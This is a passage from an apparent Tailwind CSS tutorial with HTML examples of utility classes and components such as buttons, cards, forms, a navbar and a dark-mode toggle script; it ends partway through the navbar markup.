<div class="ml-4">Margin left</div>

<!-- Space between children (flex/grid) -->
<div class="flex space-x-4">
  <div>Item 1</div>
  <div>Item 2</div>
  <div>Item 3</div>
</div>

<div class="flex flex-col space-y-4">
  <div>Item 1</div>
  <div>Item 2</div>
</div>

<!-- Fixed widths -->
<div class="w-32">Width 8rem (128px)</div>
<div class="w-64">Width 16rem (256px)</div>

<!-- Fractional widths -->
<div class="w-1/2">50% width</div>
<div class="w-1/3">33.333% width</div>
<div class="w-2/3">66.666% width</div>
<div class="w-1/4">25% width</div>
<div class="w-3/4">75% width</div>

<!-- Full widths -->
<div class="w-full">100% width</div>
<div class="w-screen">100vw width</div>

<!-- Min/Max width -->
<div class="min-w-0">Min-width 0</div>
<div class="min-w-full">Min-width 100%</div>
<div class="max-w-sm">Max-width 24rem</div>
<div class="max-w-md">Max-width 28rem</div>
<div class="max-w-lg">Max-width 32rem</div>
<div class="max-w-xl">Max-width 36rem</div>
<div class="max-w-2xl">Max-width 42rem</div>
<div class="max-w-full">Max-width 100%</div>
<div class="max-w-prose">Max-width 65ch (for reading)</div>

<!-- Arbitrary values -->
<div class="w-[420px]">Exact 420px</div>

<!-- Fixed heights -->
<div class="h-32">Height 8rem</div>
<div class="h-64">Height 16rem</div>

<!-- Full heights -->
<div class="h-full">100% height</div>
<div class="h-screen">100vh height</div>

<!-- Min/Max height -->
<div class="min-h-screen">Min-height 100vh</div>
<div class="max-h-96">Max-height 24rem</div>

<!-- Default font stacks -->
<p class="font-sans">Sans-serif font</p>
<p class="font-serif">Serif font</p>
<p class="font-mono">Monospace font</p>

<!-- Custom fonts (defined in config) -->
<p class="font-display">Display font</p>

<p class="text-xs">Extra small (0.75rem)</p>
<p class="text-sm">Small (0.875rem)</p>
<p class="text-base">Base (1rem)</p>
<p class="text-lg">Large (1.125rem)</p>
<p class="text-xl">Extra large (1.25rem)</p>
<p class="text-2xl">2x large (1.5rem)</p>
<p class="text-3xl">3x large (1.875rem)</p>
<p class="text-4xl">4x large (2.25rem)</p>
<p class="text-5xl">5x large (3rem)</p>
<p class="text-6xl">6x large (3.75rem)</p>
<p class="text-7xl">7x large (4.5rem)</p>
<p class="text-8xl">8x large (6rem)</p>
<p class="text-9xl">9x large (8rem)</p>

<p class="font-thin">Thin (100)</p>
<p class="font-extralight">Extra light (200)</p>
<p class="font-light">Light (300)</p>
<p class="font-normal">Normal (400)</p>
<p class="font-medium">Medium (500)</p>
<p class="font-semibold">Semibold (600)</p>
<p class="font-bold">Bold (700)</p>
<p class="font-extrabold">Extra bold (800)</p>
<p class="font-black">Black (900)</p>

<!-- Alignment -->
<p class="text-left">Left aligned</p>
<p class="text-center">Center aligned</p>
<p class="text-right">Right aligned</p>
<p class="text-justify">Justified</p>

<!-- Decoration -->
<p class="underline">Underlined</p>
<p class="line-through">Strikethrough</p>
<p class="no-underline">No underline</p>

<!-- Transform -->
<p class="uppercase">UPPERCASE</p>
<p class="lowercase">lowercase</p>
<p class="capitalize">Capitalize Each Word</p>
<p class="normal-case">Normal case</p>

<!-- Style -->
<p class="italic">Italic</p>
<p class="not-italic">Not italic</p>

<!-- Line height -->
<p class="leading-none">Line height 1</p>
<p class="leading-tight">Line height 1.25</p>
<p class="leading-normal">Line height 1.5</p>
<p class="leading-loose">Line height 2</p>

<!-- Letter spacing -->
<p class="tracking-tighter">Very tight</p>
<p class="tracking-tight">Tight</p>
<p class="tracking-normal">Normal</p>
<p class="tracking-wide">Wide</p>
<p class="tracking-wider">Wider</p>
<p class="tracking-widest">Widest</p>

<!-- Truncate with ellipsis -->
<p class="truncate">
  This text will be truncated with ellipsis if it's too long
</p>

<!-- Overflow behavior -->
<p class="overflow-ellipsis">Ellipsis</p>
<p class="overflow-clip">Clip</p>

<!-- Whitespace -->
<p class="whitespace-normal">Normal</p>
<p class="whitespace-nowrap">No wrap</p>
<p class="whitespace-pre">Preserve whitespace</p>
<p class="whitespace-pre-wrap">Preserve and wrap</p>

<!-- Gray scale -->
<div class="bg-white">White</div>
<div class="bg-gray-50">Gray 50</div>
<div class="bg-gray-100">Gray 100</div>
<div class="bg-gray-500">Gray 500</div>
<div class="bg-gray-900">Gray 900</div>
<div class="bg-black">Black</div>

<!-- Color palette (50-950 for each color) -->
<div class="bg-red-500">Red</div>
<div class="bg-orange-500">Orange</div>
<div class="bg-amber-500">Amber</div>
<div class="bg-yellow-500">Yellow</div>
<div class="bg-lime-500">Lime</div>
<div class="bg-green-500">Green</div>
<div class="bg-emerald-500">Emerald</div>
<div class="bg-teal-500">Teal</div>
<div class="bg-cyan-500">Cyan</div>
<div class="bg-sky-500">Sky</div>
<div class="bg-blue-500">Blue</div>
<div class="bg-indigo-500">Indigo</div>
<div class="bg-violet-500">Violet</div>
<div class="bg-purple-500">Purple</div>
<div class="bg-fuchsia-500">Fuchsia</div>
<div class="bg-pink-500">Pink</div>
<div class="bg-rose-500">Rose</div>

<!-- With opacity -->
<div class="bg-blue-500/50">50% opacity</div>
<div class="bg-blue-500/75">75% opacity</div>

<p class="text-gray-900">Dark gray text</p>
<p class="text-blue-600">Blue text</p>
<p class="text-red-500">Red text</p>

<!-- With opacity -->
<p class="text-gray-900/50">Semi-transparent text</p>

<div class="border border-gray-300">Gray border</div>
<div class="border-2 border-blue-500">Blue border</div>

<!-- Border width -->
<div class="border">1px border</div>
<div class="border-0">No border</div>
<div class="border-2">2px border</div>
<div class="border-4">4px border</div>
<div class="border-8">8px border</div>

<!-- Individual sides -->
<div class="border-t">Top border</div>
<div class="border-r">Right border</div>
<div class="border-b">Bottom border</div>
<div class="border-l">Left border</div>

<!-- Border style -->
<div class="border border-solid">Solid</div>
<div class="border border-dashed">Dashed</div>
<div class="border border-dotted">Dotted</div>
<div class="border border-double">Double</div>

<!-- Border radius -->
<div class="rounded-none">No radius</div>
<div class="rounded-sm">Small radius</div>
<div class="rounded">Default radius (0.25rem)</div>
<div class="rounded-md">Medium radius</div>
<div class="rounded-lg">Large radius</div>
<div class="rounded-xl">Extra large radius</div>
<div class="rounded-2xl">2x large radius</div>
<div class="rounded-3xl">3x large radius</div>
<div class="rounded-full">Fully rounded (circle/pill)</div>

<!-- Individual corners -->
<div class="rounded-tl-lg">Top-left</div>
<div class="rounded-tr-lg">Top-right</div>
<div class="rounded-br-lg">Bottom-right</div>
<div class="rounded-bl-lg">Bottom-left</div>

<!-- Divide (borders between children) -->
<div class="divide-y divide-gray-200">
  <div class="py-2">Item 1</div>
  <div class="py-2">Item 2</div>
  <div class="py-2">Item 3</div>
</div>

<div class="shadow-sm">Small shadow</div>
<div class="shadow">Default shadow</div>
<div class="shadow-md">Medium shadow</div>
<div class="shadow-lg">Large shadow</div>
<div class="shadow-xl">Extra large shadow</div>
<div class="shadow-2xl">2x large shadow</div>
<div class="shadow-inner">Inner shadow</div>
<div class="shadow-none">No shadow</div>

<!-- Colored shadows -->
<div class="shadow-lg shadow-blue-500/50">Blue shadow</div>

<div class="opacity-0">Invisible</div>
<div class="opacity-25">25% opacity</div>
<div class="opacity-50">50% opacity</div>
<div class="opacity-75">75% opacity</div>
<div class="opacity-100">Fully opaque</div>

<div class="blur-none">No blur</div>
<div class="blur-sm">Small blur</div>
<div class="blur">Default blur</div>
<div class="blur-lg">Large blur</div>
<div class="blur-xl">Extra large blur</div>

<!-- Backdrop blur (for overlays) -->
<div class="backdrop-blur-sm">Backdrop blur</div>

<!-- Brightness -->
<img class="brightness-50" src="image.jpg">
<img class="brightness-125" src="image.jpg">

<!-- Contrast -->
<img class="contrast-50" src="image.jpg">
<img class="contrast-150" src="image.jpg">

<!-- Grayscale -->
<img class="grayscale" src="image.jpg">

<!-- Sepia -->
<img class="sepia" src="image.jpg">

<!-- Transition property -->
<button class="transition">All properties</button>
<button class="transition-colors">Colors only</button>
<button class="transition-opacity">Opacity only</button>
<button class="transition-transform">Transform only</button>

<!-- Duration -->
<button class="transition duration-150">150ms</button>
<button class="transition duration-300">300ms (default)</button>
<button class="transition duration-500">500ms</button>
<button class="transition duration-1000">1s</button>

<!-- Timing function -->
<button class="transition ease-linear">Linear</button>
<button class="transition ease-in">Ease in</button>
<button class="transition ease-out">Ease out</button>
<button class="transition ease-in-out">Ease in-out</button>

<!-- Complete transition example -->
<button class="bg-blue-500 hover:bg-blue-700 transition-colors duration-300">
  Smooth color transition
</button>

<!-- Animations -->
<div class="animate-spin">Spinning</div>
<div class="animate-ping">Pinging</div>
<div class="animate-pulse">Pulsing</div>
<div class="animate-bounce">Bouncing</div>

<!-- Scale -->
<img class="scale-50 hover:scale-100">  <!-- 50% to 100% on hover -->
<img class="scale-100 hover:scale-110"> <!-- Zoom in on hover -->
<img class="scale-x-75">                <!-- Scale X only -->

<!-- Rotate -->
<img class="rotate-0 hover:rotate-45">   <!-- 0 to 45 degrees -->
<img class="rotate-90">                  <!-- 90 degrees -->
<img class="rotate-180">                 <!-- 180 degrees -->
<img class="-rotate-45">                 <!-- -45 degrees -->

<!-- Translate -->
<div class="translate-x-4">Move right 1rem</div>
<div class="translate-y-4">Move down 1rem</div>
<div class="-translate-x-1/2">Move left 50%</div>

<!-- Skew -->
<div class="skew-x-12">Skew X</div>
<div class="skew-y-6">Skew Y</div>

<!-- Transform origin -->
<div class="origin-center">Center origin (default)</div>
<div class="origin-top-left">Top-left origin</div>

<!-- Combined transforms with transition -->
<button class="transition-transform duration-300 hover:scale-110 hover:rotate-3">
  Hover for effect
</button>

// Default breakpoints
sm: '640px'   // Small devices (landscape phones)
md: '768px'   // Medium devices (tablets)
lg: '1024px'  // Large devices (desktops)
xl: '1280px'  // Extra large devices (large desktops)
2xl: '1536px' // 2x extra large devices

<!-- Mobile: full width, Desktop: half width -->
<div class="w-full lg:w-1/2">
  Responsive width
</div>

<!-- Hide on mobile, show on desktop -->
<div class="hidden lg:block">
  Desktop only content
</div>

<!-- Responsive padding -->
<div class="p-4 md:p-6 lg:p-8">
  Increasing padding
</div>

<!-- Responsive grid -->
<div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4">
  <div>Item 1</div>
  <div>Item 2</div>
  <div>Item 3</div>
  <div>Item 4</div>
</div>

<!-- Mobile: stacked, Desktop: side-by-side -->
<div class="flex flex-col lg:flex-row gap-4">
  <!-- Sidebar: full width mobile, 1/4 width desktop -->
  <aside class="w-full lg:w-1/4 bg-gray-100 p-4">
    Sidebar
  </aside>

  <!-- Main: full width mobile, 3/4 width desktop -->
  <main class="w-full lg:w-3/4 p-4">
    Main content
  </main>
</div>

<h1 class="text-2xl sm:text-3xl md:text-4xl lg:text-5xl xl:text-6xl font-bold">
  Responsive heading
</h1>

<p class="text-sm md:text-base lg:text-lg">
  Responsive paragraph
</p>

// tailwind.config.js
module.exports = {
  theme: {
    screens: {
      'sm': '640px',
      'md': '768px',
      'lg': '1024px',
      'xl': '1280px',
      '2xl': '1536px',
      '3xl': '1920px', // Custom breakpoint
    },
  },
}

<div class="hidden 3xl:block">
  Only on 1920px+ screens
</div>

npm install @tailwindcss/container-queries

// tailwind.config.js
module.exports = {
  plugins: [
    require('@tailwindcss/container-queries'),
  ],
}

<div class="@container">
  <div class="@md:text-2xl @lg:text-4xl">
    Size based on container, not viewport
  </div>
</div>

<!-- Hover -->
<button class="bg-blue-500 hover:bg-blue-700">
  Hover me
</button>

<!-- Focus -->
<input class="border border-gray-300 focus:border-blue-500 focus:ring-2 focus:ring-blue-200">

<!-- Active (being clicked) -->
<button class="bg-blue-500 active:bg-blue-800">
  Click me
</button>

<!-- Combined states -->
<button class="
  bg-blue-500
  hover:bg-blue-600
  focus:ring-2
  focus:ring-blue-300
  active:bg-blue-700
  transition-colors
">
  Full interaction states
</button>

<!-- Only show focus ring for keyboard navigation -->
<button class="focus:outline-none focus-visible:ring-2 focus-visible:ring-blue-500">
  Keyboard accessible
</button>

<!-- Disabled -->
<button class="bg-blue-500 disabled:bg-gray-300 disabled:cursor-not-allowed" disabled>
  Disabled button
</button>

<!-- Required -->
<input class="border required:border-red-500" required>

<!-- Valid/Invalid -->
<input class="border invalid:border-red-500 valid:border-green-500" type="email">

<!-- Placeholder -->
<input class="placeholder:italic placeholder:text-gray-400" placeholder="Email address">

<div class="group hover:bg-blue-50 p-4 cursor-pointer">
  <h3 class="group-hover:text-blue-600">Heading</h3>
  <p class="group-hover:text-gray-700">
    Hover over the card to change colors
  </p>
  <button class="opacity-0 group-hover:opacity-100">
    Hidden button appears on card hover
  </button>
</div>

<!-- Group with custom name -->
<div class="group/card hover:bg-blue-50">
  <div class="group/item">
    <p class="group-hover/card:text-blue-600">Card hover</p>
    <p class="group-hover/item:text-red-600">Item hover</p>
  </div>
</div>

<label>
  <input type="checkbox" class="peer sr-only">
  <div class="
    w-11 h-6 bg-gray-200 rounded-full
    peer-checked:bg-blue-600
    peer-focus:ring-2 peer-focus:ring-blue-300
  ">
    <!-- Toggle switch styled by peer checkbox -->
  </div>
</label>

<!-- Floating label -->
<div class="relative">
  <input
    id="email"
    class="peer w-full border-b-2 border-gray-300 focus:border-blue-500"
    placeholder=" "
  >
  <label
    for="email"
    class="
      absolute left-0 top-0
      text-gray-500
      peer-placeholder-shown:top-2
      peer-focus:top-0
      peer-focus:text-xs
      peer-focus:text-blue-500
      transition-all
    "
  >
    Email
  </label>
</div>

<!-- First and last child -->
<ul>
  <li class="first:font-bold">First (bold)</li>
  <li>Middle</li>
  <li class="last:font-bold">Last (bold)</li>
</ul>

<!-- Odd and even -->
<table>
  <tr class="odd:bg-white even:bg-gray-50">
    <td>Row 1</td>
  </tr>
  <tr class="odd:bg-white even:bg-gray-50">
    <td>Row 2</td>
  </tr>
</table>

<!-- Before -->
<div class="
  before:content-['→']
  before:mr-2
  before:text-blue-500
">
  Content with arrow before
</div>

<!-- After -->
<a class="
  after:content-['_↗']
  after:text-xs
  after:text-gray-400
">
  External link
</a>

// tailwind.config.js
module.exports = {
  // Choose strategy
  darkMode: 'class', // or 'media'
  // ...
}

<!-- Light mode: white background, dark text -->
<!-- Dark mode: dark background, light text -->
<div class="bg-white dark:bg-gray-900 text-gray-900 dark:text-white">
  Content adapts to dark mode
</div>

<!-- Card with dark mode -->
<div class="bg-white dark:bg-gray-800 rounded-lg shadow-lg p-6">
  <h2 class="text-gray-900 dark:text-white text-2xl font-bold">
    Heading
  </h2>
  <p class="text-gray-700 dark:text-gray-300">
    Description text
  </p>
  <button class="
    bg-blue-500 hover:bg-blue-600
    dark:bg-blue-600 dark:hover:bg-blue-700
    text-white
  ">
    Button
  </button>
</div>

<!-- Form input -->
<input class="
  bg-white dark:bg-gray-700
  border border-gray-300 dark:border-gray-600
  text-gray-900 dark:text-white
  focus:border-blue-500 dark:focus:border-blue-400
  focus:ring-2 focus:ring-blue-200 dark:focus:ring-blue-800
">

<!-- Image with different versions -->
<img
  class="block dark:hidden"
  src="logo-light.png"
  alt="Logo"
>
<img
  class="hidden dark:block"
  src="logo-dark.png"
  alt="Logo"
>

<!-- HTML -->
<button id="theme-toggle" class="p-2 rounded-lg bg-gray-200 dark:bg-gray-700">
  <!-- Sun icon (show in dark mode) -->
  <svg class="hidden dark:block w-6 h-6" fill="currentColor" viewBox="0 0 20 20">
    <path d="M10 2a1 1 0 011 1v1a1 1 0 11-2 0V3a1 1 0 011-1zm4 8a4 4 0 11-8 0 4 4 0 018 0zm-.464 4.95l.707.707a1 1 0 001.414-1.414l-.707-.707a1 1 0 00-1.414 1.414zm2.12-10.607a1 1 0 010 1.414l-.706.707a1 1 0 11-1.414-1.414l.707-.707a1 1 0 011.414 0zM17 11a1 1 0 100-2h-1a1 1 0 100 2h1zm-7 4a1 1 0 011 1v1a1 1 0 11-2 0v-1a1 1 0 011-1zM5.05 6.464A1 1 0 106.465 5.05l-.708-.707a1 1 0 00-1.414 1.414l.707.707zm1.414 8.486l-.707.707a1 1 0 01-1.414-1.414l.707-.707a1 1 0 011.414 1.414zM4 11a1 1 0 100-2H3a1 1 0 000 2h1z"></path>
  </svg>
  <!-- Moon icon (show in light mode) -->
  <svg class="block dark:hidden w-6 h-6" fill="currentColor" viewBox="0 0 20 20">
    <path d="M17.293 13.293A8 8 0 016.707 2.707a8.001 8.001 0 1010.586 10.586z"></path>
  </svg>
</button>

<script>
// JavaScript for toggle
const toggle = document.getElementById('theme-toggle');
const html = document.documentElement;

// Check localStorage or system preference
if (localStorage.theme === 'dark' ||
    (!('theme' in localStorage) &&
     window.matchMedia('(prefers-color-scheme: dark)').matches)) {
  html.classList.add('dark');
} else {
  html.classList.remove('dark');
}

toggle.addEventListener('click', () => {
  if (html.classList.contains('dark')) {
    html.classList.remove('dark');
    localStorage.theme = 'light';
  } else {
    html.classList.add('dark');
    localStorage.theme = 'dark';
  }
});
</script>

import { useState, useEffect } from 'react';

function DarkModeToggle() {
  const [darkMode, setDarkMode] = useState(false);

  useEffect(() => {
    // Check localStorage or system preference
    const isDark = localStorage.theme === 'dark' ||
      (!('theme' in localStorage) &&
       window.matchMedia('(prefers-color-scheme: dark)').matches);

    setDarkMode(isDark);
    if (isDark) {
      document.documentElement.classList.add('dark');
    }
  }, []);

  const toggleDarkMode = () => {
    setDarkMode(!darkMode);
    if (!darkMode) {
      document.documentElement.classList.add('dark');
      localStorage.theme = 'dark';
    } else {
      document.documentElement.classList.remove('dark');
      localStorage.theme = 'light';
    }
  };

  return (
    <button
      onClick={toggleDarkMode}
      className="p-2 rounded-lg bg-gray-200 dark:bg-gray-700"
    >
      {darkMode ? '☀️' : '🌙'}
    </button>
  );
}

<!-- Primary button -->
<button class="
  px-4 py-2
  bg-blue-600 hover:bg-blue-700
  active:bg-blue-800
  text-white font-medium
  rounded-lg
  transition-colors
  focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2
">
  Primary Button
</button>

<!-- Secondary button -->
<button class="
  px-4 py-2
  bg-gray-200 hover:bg-gray-300
  text-gray-900 font-medium
  rounded-lg
  transition-colors
">
  Secondary Button
</button>

<!-- Outline button -->
<button class="
  px-4 py-2
  border-2 border-blue-600
  text-blue-600 hover:bg-blue-50
  font-medium rounded-lg
  transition-colors
">
  Outline Button
</button>

<!-- Ghost button -->
<button class="
  px-4 py-2
  text-blue-600 hover:bg-blue-50
  font-medium rounded-lg
  transition-colors
">
  Ghost Button
</button>

<!-- Danger button -->
<button class="
  px-4 py-2
  bg-red-600 hover:bg-red-700
  text-white font-medium
  rounded-lg
">
  Delete
</button>

<!-- Disabled button -->
<button
  class="
    px-4 py-2
    bg-blue-600
    text-white font-medium
    rounded-lg
    disabled:bg-gray-300 disabled:cursor-not-allowed
  "
  disabled
>
  Disabled
</button>

<!-- Button sizes -->
<button class="px-2 py-1 text-sm bg-blue-600 text-white rounded">Small</button>
<button class="px-4 py-2 text-base bg-blue-600 text-white rounded-lg">Medium</button>
<button class="px-6 py-3 text-lg bg-blue-600 text-white rounded-lg">Large</button>
<button class="px-8 py-4 text-xl bg-blue-600 text-white rounded-xl">XL</button>

<!-- Icon button -->
<button class="p-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700">
  <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 4v16m8-8H4"></path>
  </svg>
</button>

<!-- Button with icon -->
<button class="
  flex items-center gap-2
  px-4 py-2
  bg-blue-600 hover:bg-blue-700
  text-white rounded-lg
">
  <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 4v16m8-8H4"></path>
  </svg>
  Add Item
</button>

<!-- Loading button -->
<button class="
  flex items-center gap-2
  px-4 py-2
  bg-blue-600
  text-white rounded-lg
  cursor-wait
" disabled>
  <svg class="animate-spin h-5 w-5" viewBox="0 0 24 24">
    <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4" fill="none"></circle>
    <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
  </svg>
  Loading...
</button>

<!-- Button group -->
<div class="inline-flex rounded-lg shadow-sm">
  <button class="px-4 py-2 bg-white border border-gray-300 rounded-l-lg hover:bg-gray-50">
    Left
  </button>
  <button class="px-4 py-2 bg-white border-t border-b border-gray-300 hover:bg-gray-50">
    Middle
  </button>
  <button class="px-4 py-2 bg-white border border-gray-300 rounded-r-lg hover:bg-gray-50">
    Right
  </button>
</div>

<!-- Basic card -->
<div class="bg-white rounded-lg shadow-md p-6">
  <h3 class="text-xl font-bold mb-2">Card Title</h3>
  <p class="text-gray-700">
    This is a simple card component with rounded corners and shadow.
  </p>
</div>

<!-- Product card -->
<div class="group bg-white rounded-lg shadow-md overflow-hidden hover:shadow-xl transition-shadow">
  <!-- Image -->
  <div class="relative overflow-hidden">
    <img
      src="product.jpg"
      alt="Product"
      class="w-full h-48 object-cover group-hover:scale-110 transition-transform duration-300"
    >
    <!-- Badge -->
    <span class="absolute top-2 right-2 bg-red-500 text-white text-xs font-bold px-2 py-1 rounded">
      SALE
    </span>
  </div>

  <!-- Content -->
  <div class="p-4">
    <h3 class="text-lg font-semibold mb-2 group-hover:text-blue-600 transition-colors">
      Product Name
    </h3>
    <p class="text-gray-600 text-sm mb-4">
      Product description goes here
    </p>

    <!-- Price and button -->
    <div class="flex items-center justify-between">
      <div>
        <span class="text-gray-400 line-through text-sm">$99.00</span>
        <span class="text-2xl font-bold text-gray-900 ml-2">$79.00</span>
      </div>
      <button class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700">
        Add to Cart
      </button>
    </div>
  </div>
</div>

<!-- Profile card -->
<div class="bg-white rounded-xl shadow-lg p-6 max-w-sm">
  <!-- Avatar -->
  <div class="flex items-center gap-4 mb-4">
    <img
      src="avatar.jpg"
      alt="Profile"
      class="w-16 h-16 rounded-full object-cover"
    >
    <div>
      <h3 class="text-lg font-bold text-gray-900">John Doe</h3>
      <p class="text-gray-500 text-sm">Software Engineer</p>
    </div>
  </div>

  <!-- Bio -->
  <p class="text-gray-700 mb-4">
    Passionate about building great user experiences with modern web technologies.
  </p>

  <!-- Stats -->
  <div class="flex gap-4 mb-4">
    <div class="text-center">
      <div class="text-2xl font-bold text-gray-900">1.2K</div>
      <div class="text-gray-500 text-sm">Followers</div>
    </div>
    <div class="text-center">
      <div class="text-2xl font-bold text-gray-900">456</div>
      <div class="text-gray-500 text-sm">Following</div>
    </div>
    <div class="text-center">
      <div class="text-2xl font-bold text-gray-900">89</div>
      <div class="text-gray-500 text-sm">Posts</div>
    </div>
  </div>

  <!-- Actions -->
  <div class="flex gap-2">
    <button class="flex-1 px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700">
      Follow
    </button>
    <button class="px-4 py-2 border border-gray-300 rounded-lg hover:bg-gray-50">
      Message
    </button>
  </div>
</div>

<!-- Stats card with icon -->
<div class="bg-white rounded-lg shadow-md p-6">
  <div class="flex items-center justify-between mb-4">
    <div>
      <p class="text-gray-500 text-sm font-medium">Total Revenue</p>
      <p class="text-3xl font-bold text-gray-900">$45,231</p>
    </div>
    <div class="p-3 bg-green-100 rounded-full">
      <svg class="w-8 h-8 text-green-600" fill="none" stroke="currentColor" viewBox="0 0 24 24">
        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8c-1.657 0-3 .895-3 2s1.343 2 3 2 3 .895 3 2-1.343 2-3 2m0-8c1.11 0 2.08.402 2.599 1M12 8V7m0 1v8m0 0v1m0-1c-1.11 0-2.08-.402-2.599-1M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path>
      </svg>
    </div>
  </div>
  <div class="flex items-center gap-1 text-sm">
    <span class="text-green-600 font-medium">↑ 12%</span>
    <span class="text-gray-500">from last month</span>
  </div>
</div>

<!-- Complete form -->
<form class="max-w-md mx-auto bg-white rounded-lg shadow-md p-6">
  <h2 class="text-2xl font-bold mb-6">Sign Up</h2>

  <!-- Text input -->
  <div class="mb-4">
    <label class="block text-gray-700 font-medium mb-2" for="name">
      Full Name
    </label>
    <input
      id="name"
      type="text"
      class="
        w-full px-4 py-2
        border border-gray-300 rounded-lg
        focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent
        placeholder:text-gray-400
      "
      placeholder="John Doe"
    >
  </div>

  <!-- Email input with validation states -->
  <div class="mb-4">
    <label class="block text-gray-700 font-medium mb-2" for="email">
      Email
    </label>
    <input
      id="email"
      type="email"
      class="
        w-full px-4 py-2
        border rounded-lg
        focus:outline-none focus:ring-2 focus:ring-blue-500
        invalid:border-red-500 invalid:ring-red-500
        valid:border-green-500
      "
      placeholder="john@example.com"
      required
    >
    <p class="mt-1 text-sm text-red-600 hidden peer-invalid:block">
      Please enter a valid email
    </p>
  </div>

  <!-- Password input -->
  <div class="mb-4">
    <label class="block text-gray-700 font-medium mb-2" for="password">
      Password
    </label>
    <input
      id="password"
      type="password"
      class="
        w-full px-4 py-2
        border border-gray-300 rounded-lg
        focus:outline-none focus:ring-2 focus:ring-blue-500
      "
      required
    >
  </div>

  <!-- Select -->
  <div class="mb-4">
    <label class="block text-gray-700 font-medium mb-2" for="country">
      Country
    </label>
    <select
      id="country"
      class="
        w-full px-4 py-2
        border border-gray-300 rounded-lg
        focus:outline-none focus:ring-2 focus:ring-blue-500
        bg-white
      "
    >
      <option>United States</option>
      <option>Canada</option>
      <option>United Kingdom</option>
      <option>Australia</option>
    </select>
  </div>

  <!-- Textarea -->
  <div class="mb-4">
    <label class="block text-gray-700 font-medium mb-2" for="bio">
      Bio
    </label>
    <textarea
      id="bio"
      rows="4"
      class="
        w-full px-4 py-2
        border border-gray-300 rounded-lg
        focus:outline-none focus:ring-2 focus:ring-blue-500
        resize-none
      "
      placeholder="Tell us about yourself..."
    ></textarea>
  </div>

  <!-- Checkbox -->
  <div class="mb-4">
    <label class="flex items-center">
      <input
        type="checkbox"
        class="
          w-4 h-4
          text-blue-600
          border-gray-300 rounded
          focus:ring-2 focus:ring-blue-500
        "
      >
      <span class="ml-2 text-gray-700">I agree to the Terms and Conditions</span>
    </label>
  </div>

  <!-- Radio buttons -->
  <div class="mb-6">
    <p class="text-gray-700 font-medium mb-2">Newsletter</p>
    <label class="flex items-center mb-2">
      <input
        type="radio"
        name="newsletter"
        value="daily"
        class="w-4 h-4 text-blue-600 focus:ring-2 focus:ring-blue-500"
      >
      <span class="ml-2 text-gray-700">Daily</span>
    </label>
    <label class="flex items-center mb-2">
      <input
        type="radio"
        name="newsletter"
        value="weekly"
        class="w-4 h-4 text-blue-600 focus:ring-2 focus:ring-blue-500"
        checked
      >
      <span class="ml-2 text-gray-700">Weekly</span>
    </label>
    <label class="flex items-center">
      <input
        type="radio"
        name="newsletter"
        value="never"
        class="w-4 h-4 text-blue-600 focus:ring-2 focus:ring-blue-500"
      >
      <span class="ml-2 text-gray-700">Never</span>
    </label>
  </div>

  <!-- Submit button -->
  <button
    type="submit"
    class="
      w-full px-4 py-2
      bg-blue-600 hover:bg-blue-700
      text-white font-medium rounded-lg
      transition-colors
      focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2
    "
  >
    Create Account
  </button>
</form>

<!-- File upload -->
<div class="max-w-md mx-auto">
  <label class="
    flex flex-col items-center justify-center
    w-full h-32
    border-2 border-gray-300 border-dashed rounded-lg
    cursor-pointer
    hover:bg-gray-50
    transition-colors
  ">
    <div class="flex flex-col items-center justify-center pt-5 pb-6">
      <svg class="w-10 h-10 mb-3 text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24">
        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M7 16a4 4 0 01-.88-7.903A5 5 0 1115.9 6L16 6a5 5 0 011 9.9M15 13l-3-3m0 0l-3 3m3-3v12"></path>
      </svg>
      <p class="mb-2 text-sm text-gray-500">
        <span class="font-semibold">Click to upload</span> or drag and drop
      </p>
      <p class="text-xs text-gray-500">PNG, JPG or GIF (MAX. 800x400px)</p>
    </div>
    <input type="file" class="hidden">
  </label>
</div>

<!-- Desktop navbar -->
<nav class="bg-white shadow-lg">
  <div class="container mx-auto px-4">
    <div class="flex items-center justify-between h-16">
      <!-- Logo -->
      <div class="flex items-center">
        <a href="/" class="text-xl font-bold text-gray-900">
          Logo
        </a>
      </div>

      <!-- Desktop menu -->
      <div class="hidden md:flex items-center space-x-4">
        <a href="#" class="text-gray-700 hover:text-blue-600 px-3 py-2 rounded-md font-medium">
          Home
        </a>
        <a href="#" class="text-gray-700 hover:text-blue-600 px-3 py-2 rounded-md font-medium">
          About
        </a>
        <a href="#" class="text-gray-700 hover:text-blue-600 px-3 py-2 rounded-md font-medium">
          Services
        </a>
        <a href="#" class="text-gray-700 hover:text-blue-600 px-3 py-2 rounded-md font-medium">
          Contact
        </a>
        <button class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700">
          Sign In
        </button>
      </div>

      <!-- Mobile menu button -->
      <div class="md:hidden">
        <button class="p-2 rounded-md text-gray-700 hover:bg-gray-100">
          <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16"></path>
          </svg>
        </button>
      </div>
    </div>
  </div>

  <!-- Mobile menu (hidden by default) -->
  <div class="md:hidden hidden">
    <div class="px-2 pt-2 pb-3 space-y-1">
      <a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">Home</a>
      <a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">About</a>
